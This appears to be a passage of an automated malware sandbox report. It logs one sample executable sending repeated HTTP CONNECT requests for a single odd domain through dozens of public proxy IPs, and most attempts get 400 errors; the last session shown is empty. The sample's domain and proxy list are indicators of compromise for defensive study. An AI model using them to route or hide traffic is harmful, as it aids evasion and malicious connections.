Mar 11, 2024 15:21:07.405109882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.934467077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.091196060 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1162	192.168.2.9	53717	188.164.196.30	64988	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.415246964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.183382034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.140790939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.997282028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700756073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.347611904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.060318947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.404953003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:43.856291056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1163	192.168.2.9	53153	185.82.218.52	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.422699928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1164	192.168.2.9	53228	92.204.134.38	56177	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.436984062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.200485945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.591001987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1165	192.168.2.9	53847	104.20.75.69	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.437501907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.594028950 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1166	192.168.2.9	53738	221.153.92.39	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.438549995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1167	192.168.2.9	53715	60.188.102.225	18080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.438750029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1168	192.168.2.9	53734	162.214.227.68	51923	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.439515114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.183537006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.140808105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.997261047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700720072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1169	192.168.2.9	53864	104.18.44.93	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.447065115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.601360083 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1170	192.168.2.9	53115	123.110.158.236	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.454972982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.005856991 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1171	192.168.2.9	52713	157.25.92.74	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.465909004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1172	192.168.2.9	53730	221.231.13.198	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.473520994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.816617012 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1173	192.168.2.9	53926	172.67.182.153	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.474070072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.628097057 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1174	192.168.2.9	53723	177.38.5.16	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.475617886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1175	192.168.2.9	53746	185.247.224.85	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.485663891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1176	192.168.2.9	53922	172.64.207.185	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.486720085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.647855043 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1177	192.168.2.9	53940	104.27.26.29	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.486721992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.641272068 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:07 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1178	192.168.2.9	52193	146.59.18.246	49871	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.487354994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1179	192.168.2.9	53767	198.44.255.3	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.507316113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1180	192.168.2.9	53742	103.127.1.130	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.528599024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1181	192.168.2.9	53912	51.161.99.114	48235	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.536731958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.183377981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.997137070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.403759956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.200556993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.903512001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.700424910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1182	192.168.2.9	52348	192.252.220.92	17328	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:07.537823915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1183	192.168.2.9	53775	23.137.248.197	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
